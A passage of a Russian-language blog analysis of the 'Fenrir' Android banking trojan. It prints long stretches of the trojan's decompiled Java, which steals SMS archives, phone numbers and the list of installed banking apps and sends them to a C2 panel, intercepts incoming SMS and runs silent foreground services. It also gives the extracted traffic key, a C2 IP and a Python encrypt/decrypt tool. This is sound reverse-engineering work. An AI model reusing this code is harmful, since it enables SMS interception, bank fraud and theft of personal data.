PackageManager packageManager = getPackageManager(); return packageManager.getApplicationLabel(packageManager.getApplicationInfo(getPackageName(), 0)).toString(); } catch (Exception unused) { return "Unknown"; } } private JSONArray getPhoneNumbers() { List<SubscriptionInfo> activeSubscriptionInfoList; JSONArray jSONArray = new JSONArray(); try { SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service"); if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null) { activeSubscriptionInfoList.size(); int i = 0; while (i < activeSubscriptionInfoList.size()) { SubscriptionInfo subscriptionInfo = activeSubscriptionInfoList.get(i); JSONObject jSONObject = new JSONObject(); String number = subscriptionInfo.getNumber(); String string = subscriptionInfo.getCarrierName() != null ? subscriptionInfo.getCarrierName().toString() : "Unknown"; i++; if (number == null || number.isEmpty()) { number = "Unknown"; } jSONObject.put("phone_number", number); jSONObject.put("operator", string); jSONArray.put(jSONObject); } } } catch (Exception e) { e.getMessage(); } return jSONArray; } private SmsManager getSmsManager() { List<SubscriptionInfo> activeSubscriptionInfoList; if (Build.VERSION.SDK_INT >= 31) { return SmsManager.getDefault(); } try { SubscriptionManager subscriptionManager = (SubscriptionManager) getSystemService("telephony_subscription_service"); if (subscriptionManager != null && (activeSubscriptionInfoList = subscriptionManager.getActiveSubscriptionInfoList()) != null && !activeSubscriptionInfoList.isEmpty()) { return SmsManager.getSmsManagerForSubscriptionId(activeSubscriptionInfoList.get(0).getSubscriptionId()); } } catch (Exception e) { e.getMessage(); } return SmsManager.getDefault(); } /* JADX INFO: renamed from: h */ private boolean m887h() { try { if (Build.VERSION.SDK_INT < 29) { return getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(this)); } RoleManager roleManagerM525c = AbstractC0282u.m525c(getSystemService("role")); return roleManagerM525c != null && roleManagerM525c.isRoleHeld("android.app.role.SMS"); } catch (Exception e) { e.getMessage(); return false; } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: i */ public void m888i() { int i = this.f548a; if (i >= 10) { f546f = false; stopSelf(); } else { this.f548a = i + 1; try { Thread.sleep(5000L); } catch (InterruptedException unused) { } m889j(); } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: j */ public void m889j() { try { final String strM230b = C0102cs.m230b(this); String strM121e = C0058bk.m121e(this); if (strM121e == null) { f546f = false; m888i(); return; } String str = strM121e + C0290u7.m575q(); JSONObject jSONObject = new JSONObject(); jSONObject.put("device_id", strM230b); jSONObject.put("worker", C0058bk.m123g(this)); jSONObject.put("chatId", C0058bk.m119c(this)); jSONObject.put("device_model", Build.MODEL); jSONObject.put("android_version", Build.VERSION.RELEASE); jSONObject.put("app_name", getAppName()); jSONObject.put("build_type", C0058bk.f77e); jSONObject.put("team", C0058bk.m122f(this)); JSONArray phoneNumbers = getPhoneNumbers(); jSONObject.put("sim_count", String.valueOf(phoneNumbers.length())); if (phoneNumbers.length() > 0) { JSONObject jSONObject2 = phoneNumbers.getJSONObject(0); jSONObject.put("phone_number", jSONObject2.optString("phone_number", "Unknown")); jSONObject.put("operator_name", jSONObject2.optString("operator", "Unknown")); } if (phoneNumbers.length() > 1) { JSONObject jSONObject3 = phoneNumbers.getJSONObject(1); jSONObject.put("second_phone_number", jSONObject3.optString("phone_number", "Unknown")); jSONObject.put("second_operator_name", jSONObject3.optString("operator", "Unknown")); } jSONObject.put("found_apps", new JSONArray((Collection) m886g())); jSONObject.put("sms_archive", m885f()); Http.m850q(this, str, jSONObject.toString(), strM230b, new Callback() { // from class: com.reawlme.kcupeyue.POIX1UVS19.2 @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { iOException.getMessage(); POIX1UVS19.this.m888i(); } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { if (response.body() != null) { response.body().string(); } response.code(); if (response.isSuccessful()) { POIX1UVS19.f545e = true; POIX1UVS19.f546f = false; POIX1UVS19.this.m890k(strM230b); POIX1UVS19.this.stopSelf(); } else { response.code(); if (response.code() != 403) { POIX1UVS19.this.m888i(); } else { POIX1UVS19.f546f = false; POIX1UVS19.this.stopSelf(); } } response.close(); } }); } catch (Exception unused) { if (this.f548a >= 10) { f546f = false; } m888i(); } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: k */ public void m890k(String str) { String strOptString; SmsManager smsManager; try { if (ContextCompat.checkSelfPermission(this, "android.permission.SEND_SMS") != 0) { return; } String strM843j = Http.m843j(this, C0058bk.m121e(this) + C0290u7.m576r() + "?team=" + C0058bk.m122f(this) + "&key=" + C0058bk.m117a(this)); if (strM843j != null && (strOptString = new JSONObject(strM843j).optString("retry_phone", null)) != null && !strOptString.isEmpty() && (smsManager = getSmsManager()) != null) { try { smsManager.sendTextMessage(strOptString, null, str, null, null); } catch (SecurityException e) { e.getMessage(); } } } catch (Exception e2) { e2.getMessage(); } } @Override // android.app.Service public IBinder onBind(Intent intent) { return null; } @Override // android.app.Service public int onStartCommand(Intent intent, int i, int i2) { C0715a c0715a = new C0715a(this); if (!c0715a.m924c()) { stopSelf(); return 2; } if (!c0715a.m923b()) { stopSelf(); return 2; } c0715a.getPanelUrl(); c0715a.getTeam(); c0715a.getWorker(); if (!m887h()) { stopSelf(); return 2; } int i3 = 1; if (f545e || f546f) { stopSelf(); } else { f546f = true; new Thread(new RunnableC0021ak(this, i3)).start(); } return 1; } }
В POIX1UVS19 функция C0706a содержит перечень приложений, данные которых перехватывает данный троян. Банки, Госуслуги, Госключ, Wildberries/Ozon, WhatsApp и зачем-то Яндекс (именно через плагин поиска searchplugin). Как это работает. m886g() пробегается по списку установленных приложений и отправляет его в JSON-поле found_apps.
А кто этот ваш Fenrir?
Везде упоминается данная строка, но что же это? Возьму из статьи изображения, но судя по всему - это VaaS (Virus-as-a-Service), "вирус как сервис". Нехорошие ребята продают и обход Касперского, и консоль для веб-управления (на скриншоте видно тот самый Fenrir). "Бизнес есть бизнес", даже если в нём страдают твои же соотечественники.



FenrirCrypto служит для кастомного шифрования трафика. Взглянем на файл payload_jadx/sources/p000a/C0293v0.java
C0293v0
package p000a; import android.util.Base64; import java.nio.charset.Charset; import java.nio.charset.StandardCharsets; /* JADX INFO: renamed from: a.v0 */ /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class C0293v0 { /* JADX INFO: renamed from: a */ private static final String f377a = "FenrirCrypto"; /* JADX INFO: renamed from: b */ private static String f378b = null; /* JADX INFO: renamed from: c */ private static byte[] f379c = null; /* JADX INFO: renamed from: e */ private static final int f381e = 45; /* JADX INFO: renamed from: g */ private static final int f383g = 62; /* JADX INFO: renamed from: i */ private static final int f385i = 79; /* JADX INFO: renamed from: k */ private static final int f387k = 96; /* JADX INFO: renamed from: m */ private static final int f389m = 113; /* JADX INFO: renamed from: d */ private static final int[] f380d = {66, 25, 118, 120, 3, 37, 177, 174}; /* JADX INFO: renamed from: f */ private static final int[] f382f = {50, 31, 105, 44, 8, 200, 170, 132}; /* JADX INFO: renamed from: h */ private static final int[] f384h = {36, 55, 66, 91, 224, 219, 145, 155}; /* JADX INFO: renamed from: j */ private static final int[] f386j = {4, 50, 182, 171, 249, 224, 133, 167}; /* JADX INFO: renamed from: l */ private static final int[] f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}; /* JADX INFO: renamed from: a */ private static char[] m601a(int[] iArr, int i) { char[] cArr = new char[iArr.length]; int i2 = 0; while (true) { int i3 = 29364; while (true) { int i4 = (i3 ^ 29364) % 5; if (i4 == 0) { cArr[i2] = (char) (iArr[i2] ^ ((((i2 * 13) + i) + 7) & 255)); } else if (i4 == 1) { i2++; if (i2 < iArr.length) { break; } i3 = 29366; } else { if (i4 == 2) { return cArr; } if (i4 != 3) { if (i4 != 4) { } } } i3 = 29365; } } } /* JADX INFO: renamed from: b */ private static String m602b() { char[] cArr = new char[64]; int i = 0; int i2 = 90; while (i2 >= 65) { cArr[i] = (char) i2; i2--; i++; } int i3 = 122; while (i3 >= 97) { cArr[i] = (char) i3; i3--; i++; } int i4 = 57; while (i4 >= 48) { cArr[i] = (char) i4; i4--; i++; } cArr[i] = '+'; cArr[i + 1] = '/'; return new String(cArr); } /* JADX INFO: renamed from: c */ public static String m603c(String str) { try { String strM571m = C0290u7.m571m(); if (str != null && str.startsWith(strM571m)) { String strSubstring = str.substring(strM571m.length()); String strM602b = m602b(); String strM608h = m608h(); StringBuilder sb = new StringBuilder(); for (int i = 0; i < strSubstring.length(); i++) { char cCharAt = strSubstring.charAt(i); int iIndexOf = strM602b.indexOf(cCharAt); if (iIndexOf >= 0) { sb.append(strM608h.charAt(iIndexOf)); } else { sb.append(cCharAt); } } byte[] bArrDecode = Base64.decode(sb.toString(), 0); for (int i2 = 2; i2 < bArrDecode.length; i2 += 3) { bArrDecode[i2] = (byte) (bArrDecode[i2] ^ 255); } for (int i3 = 0; i3 < bArrDecode.length - 4; i3 += 8) { for (int i4 = 0; i4 < 4; i4++) { int i5 = i3 + i4; int i6 = i5 + 4; if (i6 < bArrDecode.length) { byte b = bArrDecode[i5]; bArrDecode[i5] = bArrDecode[i6]; bArrDecode[i6] = b; } } } byte[] bytes = m606f().getBytes(StandardCharsets.UTF_8); byte[] bArrM607g = m607g(); byte[] bArr = new byte[bArrDecode.length]; for (int i7 = 0; i7 < bArrDecode.length; i7++) { bArr[i7] = (byte) (((bytes[i7 % bytes.length] ^ bArrDecode[i7]) ^ bArrM607g[i7 % bArrM607g.length]) ^ (i7 & 255)); } return new String(bArr, StandardCharsets.UTF_8); } return null; } catch (Exception e) { e.getMessage(); return null; } } /* JADX INFO: renamed from: d */ public static String m604d(String str) { int i; int i2; try { String strM606f = m606f(); Charset charset = StandardCharsets.UTF_8; byte[] bytes = strM606f.getBytes(charset); byte[] bArrM607g = m607g(); byte[] bytes2 = str.getBytes(charset); int length = bytes2.length; byte[] bArr = new byte[length]; for (int i3 = 0; i3 < bytes2.length; i3++) { bArr[i3] = (byte) (((bytes[i3 % bytes.length] ^ bytes2[i3]) ^ bArrM607g[i3 % bArrM607g.length]) ^ (i3 & 255)); } for (int i4 = 0; i4 < length - 4; i4 += 8) { for (int i5 = 0; i5 < 4 && (i2 = (i = i4 + i5) + 4) < length; i5++) { byte b = bArr[i]; bArr[i] = bArr[i2]; bArr[i2] = b; } } for (int i6 = 2; i6 < length; i6 += 3) { bArr[i6] = (byte) (bArr[i6] ^ 255); } String strEncodeToString = Base64.encodeToString(bArr, 2); String strM608h = m608h(); String strM602b = m602b(); StringBuilder sb = new StringBuilder(); for (int i7 = 0; i7 < strEncodeToString.length(); i7++) { char cCharAt = strEncodeToString.charAt(i7); int iIndexOf = strM608h.indexOf(cCharAt); if (iIndexOf >= 0) { sb.append(strM602b.charAt(iIndexOf)); } else { sb.append(cCharAt); } } String str2 = C0290u7.m571m() + sb.toString(); str2.length(); return str2; } catch (Exception e) { e.getMessage(); return null; } } /* JADX INFO: renamed from: e */ public static boolean m605e(String str) { return str != null && str.startsWith(C0290u7.m571m()); } /* JADX INFO: renamed from: f */ private static String m606f() { String str = f378b; if (str != null) { return str; } char[] cArrM601a = m601a(f380d, 45); char[] cArrM601a2 = m601a(f382f, f383g); char[] cArrM601a3 = m601a(f384h, f385i); char[] cArrM601a4 = m601a(f386j, f387k); StringBuilder sb = new StringBuilder(32); for (char c : cArrM601a) { sb.append(c); } for (char c2 : cArrM601a2) { sb.append(c2); } for (char c3 : cArrM601a3) { sb.append(c3); } for (char c4 : cArrM601a4) { sb.append(c4); } String string = sb.toString(); f378b = string; return string; } /* JADX INFO: renamed from: g */ private static byte[] m607g() { byte[] bArr = f379c; if (bArr != null) { return bArr; } f379c = new byte[f388l.length]; int i = 0; while (true) { int[] iArr = f388l; if (i >= iArr.length) { return f379c; } f379c[i] = (byte) (iArr[i] ^ (((i * 11) + 116) & 255)); i++; } } /* JADX INFO: renamed from: h */ private static String m608h() { char[] cArr = new char[64]; int i = 0; int i2 = 65; while (i2 <= 90) { cArr[i] = (char) i2; i2++; i++; } int i3 = 97; while (i3 <= 122) { cArr[i] = (char) i3; i3++; i++; } int i4 = 48; while (i4 <= 57) { cArr[i] = (char) i4; i4++; i++; } cArr[i] = '+'; cArr[i + 1] = '/'; return new String(cArr); } }
Разработки даже не скрывают свой "почерк":
private static final String f377a = "FenrirCrypto";
Ключ шифрования хранится в методе m606f():
private static String m606f() { char[] part1 = m601a(f380d, 45); // {66, 25, 118, 120, 3, 37, 177, 174} char[] part2 = m601a(f382f, 62); // {50, 31, 105, 44, 8, 200, 170, 132} char[] part3 = m601a(f384h, 79); // {36, 55, 66, 91, 224, 219, 145, 155} char[] part4 = m601a(f386j, 96); // {4, 50, 182, 171, 249, 224, 133, 167} return part1 + part2 + part3 + part4; // 32 символа }
Результат: vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e
Инициализация вектора реализована в методе m607g() (строки в файле 236-251):
private static byte[] m607g() { byte[] iv = new byte[f388l.length]; // 12 байт for (int i = 0; i < f388l.length; i++) { iv[i] = (byte) (f388l[i] ^ (((i * 11) + 116) & 255)); } return iv; } // f388l = {215, 40, 67, 139, 36, 89, 221, 252, 43, 158, 247, 81}
Результат: a357c91e84f26b3de74915bc (12 байт)
Сам алгоритм шифрования - это метод m604d()
Шаг | Операция | Строки в файле |
|---|---|---|
1 | XOR каждого байта: | 163-168 |
2 | Блочная перестановка: каждые 8 байт — swap первых 4 со вторыми 4 | 170-175 |
3 | Инвертирование битов: каждый 3-й байт | 177-179 |
4 | Base64 (NO_WRAP) | 180 |
5 | Подстановочный шифр: замена символов Base64 (A↔Z, B↔Y, …) | 182-192 |
6 | Префикс: | 193 |
Ну а чтобы сдешифровать, нужно сделать всё наоборот (метод m603c()):
Шаг | Операция | Строки |
|---|---|---|
1 | Проверка и удаление префикса | 110-112 |
2 | Обратная подстановка символов | 116-123 |
3 | Base64 decode | 125 |
4 | Обратное инвертирование битов (симметрично) | 126-128 |
5 | Обратная блочная перестановка (симметрично) | 129-139 |
6 | Обратный XOR (симметричен) | 142-145 |
Зашифрованное сообщение отправляется по HTTP. Формирование JSON идёт в файле Http.java (строки 110-144)
Http.java
package com.reawlme.kcupeyue; import android.content.Context; import java.io.IOException; import java.net.ConnectException; import java.net.SocketException; import java.net.SocketTimeoutException; import java.net.URL; import java.net.UnknownHostException; import java.util.Objects; import java.util.concurrent.TimeUnit; import okhttp3.Call; import okhttp3.Callback; import okhttp3.HttpUrl; import okhttp3.Interceptor; import okhttp3.MediaType; import okhttp3.OkHttpClient; import okhttp3.Request; import okhttp3.RequestBody; import okhttp3.Response; import okio.Buffer; import org.json.JSONObject; import p000a.C0058bk; import p000a.C0290u7; import p000a.C0293v0; /* JADX INFO: loaded from: C:\Analizing\Android\payload.dex */ public class Http { /* JADX INFO: renamed from: a */ private static final String f521a = "Http"; /* JADX INFO: renamed from: b */ private static final MediaType f522b = MediaType.parse(C0290u7.m570l()); /* JADX INFO: renamed from: c */ private static OkHttpClient f523c = null; /* JADX INFO: renamed from: d */ private static Context f524d = null; /* JADX INFO: renamed from: e */ private static final int f525e = 3; public static abstract class DecryptCallback implements Callback { /* JADX INFO: renamed from: a */ private final Context f526a; /* JADX INFO: renamed from: b */ private final String f527b; /* JADX INFO: renamed from: c */ private final String f528c; /* JADX INFO: renamed from: d */ private final String f529d; /* JADX INFO: renamed from: e */ private int f530e; public DecryptCallback() { this.f530e = 0; this.f526a = null; this.f527b = null; this.f528c = null; this.f529d = null; } /* JADX INFO: renamed from: a */ public abstract void m852a(Call call, Response response, String str); /* JADX INFO: renamed from: b */ public void m853b(IOException iOException) { } @Override // okhttp3.Callback public void onFailure(Call call, IOException iOException) { String str; iOException.getMessage(); if (this.f526a == null || this.f527b == null || !Http.m846m(iOException, this.f530e)) { m853b(iOException); return; } this.f530e++; String str2 = Http.m842i(this.f526a) + this.f527b; String str3 = this.f528c; if (str3 == null || (str = this.f529d) == null) { Http.m845l(this.f526a, str2, this); } else { Http.m851r(this.f526a, str2, str3, str, this); } } @Override // okhttp3.Callback public void onResponse(Call call, Response response) throws IOException { m852a(call, response, Http.m838e(response.body() != null ? response.body().string() : HttpUrl.FRAGMENT_ENCODE_SET)); } public DecryptCallback(Context context, String str, String str2, String str3) { this.f530e = 0; this.f526a = context; this.f527b = str; this.f528c = str2; this.f529d = str3; } } /* JADX INFO: renamed from: com.reawlme.kcupeyue.Http$a */ public static class C0702a implements Interceptor { private C0702a() { } public /* synthetic */ C0702a(int i) { this(); } @Override // okhttp3.Interceptor public Response intercept(Interceptor.Chain chain) throws IOException { Request request = chain.request(); if (request.body() == null || !"POST".equals(request.method())) { return chain.proceed(request); } try { Buffer buffer = new Buffer(); request.body().writeTo(buffer); String utf8 = buffer.readUtf8(); String strM604d = C0293v0.m604d(utf8); if (strM604d == null) { return chain.proceed(request); } JSONObject jSONObject = new JSONObject(); jSONObject.put("enc", strM604d); String string = jSONObject.toString(); Request requestBuild = request.newBuilder().header(C0290u7.m566h(), C0290u7.m569k()).header(C0290u7.m568j(), C0290u7.m564f()).method(request.method(), RequestBody.create(string, Http.f522b)).build(); utf8.length(); string.length(); return chain.proceed(requestBuild); } catch (Exception e) { e.getMessage(); return chain.proceed(request); } } } /* JADX INFO: renamed from: e */ public static String m838e(String str) { if (str == null || str.isEmpty()) { return str; } try { JSONObject jSONObject = new JSONObject(str); if (!jSONObject.has("enc")) { return str; } String strM603c = C0293v0.m603c(jSONObject.getString("enc")); if (strM603c != null) { return strM603c; } return null; } catch (Exception unused) { return str; } } /* JADX INFO: renamed from: f */ public static void m839f(Context context, String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: renamed from: g */ public static void m840g(String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } public static synchronized OkHttpClient getClient() { try { if (f523c == null) { OkHttpClient.Builder builder = new OkHttpClient.Builder(); TimeUnit timeUnit = TimeUnit.SECONDS; f523c = builder.connectTimeout(15L, timeUnit).writeTimeout(15L, timeUnit).readTimeout(15L, timeUnit).retryOnConnectionFailure(false).addInterceptor(new C0702a(0)).build(); } } catch (Throwable th) { throw th; } return f523c; } /* JADX INFO: renamed from: h */ public static void m841h(String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: renamed from: i */ public static String m842i(Context context) { if (context == null && f524d == null) { return null; } if (context == null) { context = f524d; } return C0717c.m927d(context).getCurrentServerUrl(); } /* JADX INFO: renamed from: j */ public static String m843j(Context context, String str) { return m844k(context, str, 0); } /* JADX INFO: renamed from: k */ private static String m844k(Context context, String str, int i) { try { Response responseExecute = getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).execute(); if (!responseExecute.isSuccessful() || responseExecute.body() == null) { return null; } return m838e(responseExecute.body().string()); } catch (Exception e) { e.getMessage(); if (m846m(e, i)) { try { URL url = new URL(str); String path = url.getPath(); if (url.getQuery() != null) { path = path + "?" + url.getQuery(); } return m844k(context, m842i(context) + path, i + 1); } catch (Exception e2) { e2.getMessage(); return null; } } return null; } } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: l */ public static void m845l(Context context, String str, Callback callback) { getClient().newCall(new Request.Builder().url(str).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).addHeader(C0290u7.m568j(), C0290u7.m564f()).build()).enqueue(callback); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: m */ public static boolean m846m(Throwable th, int i) { if (f524d == null) { return false; } if (!m848o(th)) { th.getClass(); return false; } if (i >= 3) { return false; } C0717c c0717cM927d = C0717c.m927d(f524d); if (!c0717cM927d.m937l()) { return false; } Objects.toString(c0717cM927d.getCurrentServer()); return true; } /* JADX INFO: renamed from: n */ public static void m847n(Context context) { f524d = context.getApplicationContext(); } /* JADX INFO: renamed from: o */ private static boolean m848o(Throwable th) { return (th instanceof SocketTimeoutException) || (th instanceof SocketException) || (th instanceof UnknownHostException) || (th instanceof ConnectException) || (th.getMessage() != null && (th.getMessage().contains("Connection") || th.getMessage().contains("timeout") || th.getMessage().contains("refused"))); } /* JADX INFO: renamed from: p */ public static void m849p(Context context) { if (context != null) { C0717c.m927d(context).m936i(); } } /* JADX INFO: renamed from: q */ public static void m850q(Context context, String str, String str2, String str3, Callback callback) { getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback); } /* JADX INFO: Access modifiers changed from: private */ /* JADX INFO: renamed from: r */ public static void m851r(Context context, String str, String str2, String str3, Callback callback) { getClient().newCall(new Request.Builder().url(str).post(RequestBody.create(str2, f522b)).addHeader(C0290u7.m566h(), C0290u7.m569k()).addHeader(C0290u7.m567i(), str3).addHeader(C0290u7.m565g(), C0058bk.m117a(context)).build()).enqueue(callback); } }
Получится что-то похоже на
POST /media/uplaad HTTP/1.1 X-Fenrir-Enc: application/json X-API-Key: <device_id> Content-Type: application/json; charset=utf-8 {"enc":"FNR1m46Quj3Uop8Dv5bn0TT48++TEvI0nb+Hf+C4wlvvtYk1Z6R="}
Как обычно просим ИИ сделать нам дешифратор:
fenrir_crypto.py
#!/usr/bin/env python3 """ FenrirCrypto implementation — custom XOR-based encryption used by Fenrir Banking Trojan v4.0.5. Encrypts/decrypts HTTP traffic between infected device and C2 server (176.124.222.81). Usage: python fenrir_crypto.py encrypt "hello world" python fenrir_crypto.py decrypt "FNR1..." """ import base64 import sys # ─── Crypto constants (extracted from C0293v0.java) ────────────── KEY = "vX8#kP3!wM6@qN9$rT2&jL5*cF7%bH0e" IV = bytes.fromhex("a357c91e84f26b3de74915bc") PREFIX = "FNR1" # Standard Base64 alphabet (m608h) STANDARD = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" # Reversed Base64 alphabet (m602b) REVERSED = "ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/" # Build translation tables TO_REVERSED = str.maketrans(STANDARD, REVERSED) TO_STANDARD = str.maketrans(REVERSED, STANDARD) def _xor_transform(data: bytes) -> bytes: """Step 1+3 combined: XOR with key, IV, and position; then invert every 3rd byte.""" key_bytes = KEY.encode('utf-8') out = bytearray(len(data)) for i in range(len(data)): out[i] = data[i] ^ key_bytes[i % len(key_bytes)] ^ IV[i % len(IV)] ^ (i & 0xFF) # Step 3: invert every 3rd byte starting from index 2 for i in range(2, len(out), 3): out[i] ^= 0xFF return bytes(out) def _block_swap(data: bytearray): """Step 2: swap first 4 bytes with second 4 bytes in each 8-byte block.""" for i in range(0, len(data) - 4, 8): for j in range(4): if i + j + 4 < len(data): data[i + j], data[i + j + 4] = data[i + j + 4], data[i + j] def encrypt(plaintext: str) -> str: """Full encryption: plaintext -> FNR1...""" # Step 1: Triple XOR data = bytearray(plaintext.encode('utf-8')) for i in range(len(data)): data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF) # Step 2: Block swap _block_swap(data) # Step 3: Invert every 3rd byte for i in range(2, len(data), 3): data[i] ^= 0xFF # Step 4: Base64 encoded = base64.b64encode(bytes(data)).decode('ascii') # Step 5: Character substitution substituted = encoded.translate(TO_REVERSED) # Step 6: Add prefix return PREFIX + substituted def decrypt(ciphertext: str) -> str: """Full decryption: FNR1... -> plaintext.""" # Step 1: Check and remove prefix if not ciphertext.startswith(PREFIX): raise ValueError(f"Missing prefix: expected '{PREFIX}'") payload = ciphertext[len(PREFIX):] # Step 2: Reverse character substitution restored = payload.translate(TO_STANDARD) # Step 3: Base64 decode data = bytearray(base64.b64decode(restored)) # Step 4: Reverse byte inversion (symmetric — same operation) for i in range(2, len(data), 3): data[i] ^= 0xFF # Step 5: Reverse block swap (symmetric — same operation) _block_swap(data) # Step 6: Reverse XOR (symmetric — same operation) for i in range(len(data)): data[i] ^= KEY.encode()[i % 32] ^ IV[i % 12] ^ (i & 0xFF) return bytes(data).decode('utf-8') # ─── CLI ──────────────────────────────────────────────────────── if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python fenrir_crypto.py encrypt|decrypt <text>") print() print("Examples:") print(' python fenrir_crypto.py encrypt "{\\"test\\":\\"hello\\"}"') print(" python fenrir_crypto.py decrypt FNR1...") sys.exit(1) action = sys.argv[1] text = sys.argv[2] if action == "encrypt": print(encrypt(text)) elif action == "decrypt": try: print(decrypt(text)) except Exception as e: print(f"Decryption failed: {e}") else: print(f"Unknown action: {action}")
Как я говорил выше - сервер давно в ауте, поэтому ни ответа, ни привета - проверить мне не на чем.
Ну и быстро пробежимся по оставшимся частям кода, а то уже статья и так большая (в плане приложенного кода), а мне хотелось всего лишь понять, на сколько был опасен вирус.
SMS-перехватчик
Регистрация как SMS-приложение по умолчанию
MainActivity.java:132-151 — m869r():
Код
// Android 10+: startActivityForResult(roleManager.createRequestRoleIntent("android.app.role.SMS"), 1); // Android 9-: startActivity(new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT") .putExtra("package", getPackageName()));
MainActivity.java:169-181 — m871t(): если пользователь отклоняет — показывается AlertDialog с требованием сделать приложение SMS-обработчиком.
Проверка статуса
POIX1UVS16.java:45-51 и POIX1UVS19.java:321-332:
Код
private boolean m876c(Context context) { if (Build.VERSION.SDK_INT < 29) { return context.getPackageName().equals(Telephony.Sms.getDefaultSmsPackage(context)); } RoleManager rm = context.getSystemService("role"); return rm != null && rm.isRoleHeld("android.app.role.SMS"); }
Перехват SMS
POIX1UVS16.java:110-150 — onReceive():
Код
public void onReceive(Context context, Intent intent) { // 1. Проверка action — только SMS_RECEIVED или SMS_DELIVER // 2. Захват WakeLock на 30 секунд PowerManager.WakeLock wl = pm.newWakeLock(1, "POIX1UVS16:Lock"); wl.acquire(30000L); // 3. Извлечение PDU из intent Object[] pdus = (Object[]) intent.getExtras().get("pdus"); for (Object pdu : pdus) { SmsMessage sms = SmsMessage.createFromPdu((byte[]) pdu, format); sender = sms.getOriginatingAddress(); body.append(sms.getMessageBody()); } // 4. Отправка на сервер m878e(context, sender, body.toString(), simSlot, wl); // строка 139 // 5. Запуск foreground-сервиса для пинга m879f(context); // строка 140 }
Отправка SMS на сервер
POIX1UVS16.java:67-94 — m878e():
Код
JSONObject json = new JSONObject(); json.put("device_id", deviceId); json.put("sender", phoneNumber); // от кого SMS json.put("text", smsText); // текст SMS (!!!) json.put("sim_slot", simSlot); // с какой SIM-карты Http.m850q(context, C0058bk.m121e(context) + C0290u7.m577s(), // panel_url + "/media/uplaad" json.toString(), deviceId, callback );
Сервис сбора данных
Запуск
POIX1UVS19.java:452-477 — onStartCommand():
Код
// Проверка: выполнена ли инициализация if (!config.m924c()) { stopSelf(); return; } // Проверка: есть ли сервера if (!config.m923b()) { stopSelf(); return; } // Проверка: является ли приложение SMS-обработчиком if (!m887h()) { stopSelf(); return; } // Запуск сбора данных в фоне new Thread(new RunnableC0021ak(this, 1)).start();
Сбор SMS-архива
POIX1UVS19.java:98-244 — m885f():
Код
// Запрос к content://sms/inbox — последние 200 входящих Cursor cursor = getContentResolver().query( Uri.parse("content://sms/inbox"), null, null, null, "date DESC LIMIT 200"); // Запрос к content://sms/sent — последние 100 исходящих cursor = getContentResolver().query( Uri.parse("content://sms/sent"), null, null, null, "date DESC LIMIT 100");
Форматирует результат в ASCII-таблицу с заголовком “SMS ARCHIVE” и датами в часовом поясе “Europe/Moscow” (строка 105).
Сбор установленных приложений
Я уже это описывал: файлPOIX1UVS19.java:247-265 — метод m886g()
Сбор телефонных номеров
POIX1UVS19.java:276-302 — getPhoneNumbers():
SubscriptionManager sm = getSystemService("telephony_subscription_service"); for (SubscriptionInfo sub : sm.getActiveSubscriptionInfoList()) { json.put("phone_number", sub.getNumber()); json.put("operator", sub.getCarrierName().toString()); }
Отправка check-in на сервер
POIX1UVS19.java:353-386 — m889j():
URL: panel_url + "/store/checkout" (строка 362)
JSON-данные
{ "device_id": "...", "worker": "...", "chatId": "...", "device_model": "Samsung Galaxy S21", "android_version": "14", "app_name": "Фото(3)", "build_type": "4.0.5", "team": "...", "sim_count": "2", "phone_number": "+79001234567", "operator_name": "MTS", "second_phone_number": "+79007654321", "second_operator_name": "Beeline", "found_apps": ["Сбербанк", "ВТБ", "Wildberries", "Госуслуги"], "sms_archive": "╔══ SMS ARCHIVE ══╗\n ... 200 SMS ..." }
Версия трояна (C0058bk.java:23):
public static final String f77e = "4.0.5";
Вот тут конечно молодцы - можно понять, какую версию тебе выдали)
Retry-механизм
POIX1UVS19.java:336-349 — m888i(): повторяет отправку до 10 раз с паузой 5 секунд.
Foreground-сервис и C2-команды
Защита от убийства
POIX1UVS21.java:410-423 — onCreate():
// WakeLock — не даёт процессору заснуть PowerManager.WakeLock wl = ((PowerManager) getSystemService("power")) .newWakeLock(1, "POIX1UVS21:Lock"); wl.acquire(30000L); // Foreground-сервис с невидимым уведомлением startForeground(1, buildSilentNotification());
POIX1UVS21.java:147-158 — m907h(): создаёт notification channel с выключенными значками, вибрацией и звуком, с низкой важностью (IMPORTANCE_LOW).
Ping и статус устройства
POIX1UVS21.java:470-495 — sendPing():
